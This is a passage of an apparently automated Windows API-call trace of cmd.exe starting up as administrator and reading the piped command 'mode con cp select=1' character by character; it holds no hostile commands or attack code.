[0039.093] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb6d0 | out: hHeap=0x2e0000) returned 1 [0039.093] GetProcessHeap () returned 0x2e0000 [0039.093] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4016) returned 0x2fcd20 [0039.093] GetProcessHeap () returned 0x2e0000 [0039.094] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd20 | out: hHeap=0x2e0000) returned 1 [0039.094] GetConsoleOutputCP () returned 0x1b5 [0039.094] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9cbfe0 | out: lpCPInfo=0x4a9cbfe0) returned 1 [0039.094] GetUserDefaultLCID () returned 0x409 [0039.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a9c7b50, cchData=8 | out: lpLCData=":") returned 2 [0039.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x25f8c0, cchData=128 | out: lpLCData="0") returned 2 [0039.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x25f8c0, cchData=128 | out: lpLCData="0") returned 2 [0039.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x25f8c0, cchData=128 | out: lpLCData="1") returned 2 [0039.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a9da740, cchData=8 | out: lpLCData="/") returned 2 [0039.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a9da4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a9da460, cchData=32 | out: lpLCData="Tue") returned 4 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a9da420, cchData=32 | out: lpLCData="Wed") returned 4 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a9da3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a9da3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a9da360, cchData=32 | out: lpLCData="Sat") returned 4 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a9da700, cchData=32 | out: lpLCData="Sun") returned 4 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a9c7b40, cchData=8 | out: lpLCData=".") returned 2 [0039.095] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a9da4e0, cchData=8 | out: lpLCData=",") returned 2 [0039.095] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0039.096] GetProcessHeap () returned 0x2e0000 [0039.096] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20c) returned 0x2f95c0 [0039.096] GetConsoleTitleW (in: lpConsoleTitle=0x2f95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.096] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.096] GetFileType (hFile=0xf4) returned 0x3 [0039.096] BrandingFormatString () returned 0x2f97e0 [0039.099] GetVersion () returned 0x1db10106 [0039.099] _vsnwprintf (in: _Buffer=0x25fa30, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x25f9c8 | out: _Buffer="6.1.7601") returned 8 [0039.099] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.099] GetFileType (hFile=0xf4) returned 0x3 [0039.099] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a9d6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0039.100] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a9d6340, nSize=0x2000, Arguments=0x25f9d0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0039.100] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0039.100] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x25f958, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f958*=0x24, lpOverlapped=0x0) returned 1 [0039.100] _vsnwprintf (in: _Buffer=0x4a9d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f9f8 | out: _Buffer="\r\n") returned 2 [0039.100] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.100] GetFileType (hFile=0xf4) returned 0x3 [0039.100] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0039.100] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f9c8*=0x2, lpOverlapped=0x0) returned 1 [0039.100] _vsnwprintf (in: _Buffer=0x4a9d6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x25f9f8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0039.100] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.100] GetFileType (hFile=0xf4) returned 0x3 [0039.100] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0039.100] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x25f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f9c8*=0x3f, lpOverlapped=0x0) returned 1 [0039.100] _vsnwprintf (in: _Buffer=0x4a9d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f9f8 | out: _Buffer="\r\n") returned 2 [0039.100] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.100] GetFileType (hFile=0xf4) returned 0x3 [0039.100] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0039.100] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f9c8*=0x2, lpOverlapped=0x0) returned 1 [0039.101] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0039.101] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0039.101] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0039.101] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0039.102] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.102] GetFileType (hFile=0xe8) returned 0x3 [0039.102] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0039.102] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x25f820 | out: TokenHandle=0x25f820*=0x0) returned 0xc000007c [0039.102] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x25f820 | out: TokenHandle=0x25f820*=0x50) returned 0x0 [0039.102] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x25f830, TokenInformationLength=0x4, ReturnLength=0x25f838 | out: TokenInformation=0x25f830, ReturnLength=0x25f838) returned 0x0 [0039.102] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x25f838, TokenInformationLength=0x4, ReturnLength=0x25f830 | out: TokenInformation=0x25f838, ReturnLength=0x25f830) returned 0x0 [0039.102] NtClose (Handle=0x50) returned 0x0 [0039.102] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x25f800, nSize=0x0, Arguments=0x25f808 | out: lpBuffer="韠/") returned 0xf [0039.102] GetProcessHeap () returned 0x2e0000 [0039.102] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2e1ab0 [0039.102] GetConsoleTitleW (in: lpConsoleTitle=0x25f850, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.102] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0039.102] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0039.103] GetProcessHeap () returned 0x2e0000 [0039.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2e1ab0 | out: hHeap=0x2e0000) returned 1 [0039.103] LocalFree (hMem=0x2f97e0) returned 0x0 [0039.103] GetProcessHeap () returned 0x2e0000 [0039.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2faa10 | out: hHeap=0x2e0000) returned 1 [0039.104] _vsnwprintf (in: _Buffer=0x4a9d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f538 | out: _Buffer="\r\n") returned 2 [0039.104] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.104] GetFileType (hFile=0xf4) returned 0x3 [0039.104] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0039.104] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f508, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f508*=0x2, lpOverlapped=0x0) returned 1 [0039.104] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0039.104] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.104] _vsnwprintf (in: _Buffer=0x4a9beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x25f548 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0039.104] _vsnwprintf (in: _Buffer=0x4a9bebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x25f548 | out: _Buffer=">") returned 1 [0039.104] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.104] GetFileType (hFile=0xf4) returned 0x3 [0039.104] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0039.104] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x25f538, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f538*=0x26, lpOverlapped=0x0) returned 1 [0039.104] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.104] GetFileType (hFile=0xe8) returned 0x3 [0039.104] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.104] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.104] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0039.105] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.105] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.105] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.105] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0039.105] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.106] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.106] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0039.106] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.106] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.106] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0039.106] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.106] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.106] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0039.106] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.106] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.106] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0039.106] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.106] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.106] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0039.106] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.106] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.107] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0039.107] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.107] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.107] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0039.107] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.107] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.107] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0039.107] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.107] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.107] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0039.107] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.107] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.107] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0039.107] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.107] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.107] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0039.107] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.107] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.107] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0039.108] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.108] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.108] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0039.108] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.108] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.108] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0039.108] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.108] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.108] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0039.108] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.108] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.108] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0039.108] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.108] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.108] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0039.108] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.108] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.108] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0039.108] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.108] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.108] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce348, cchWideChar=1 | out: 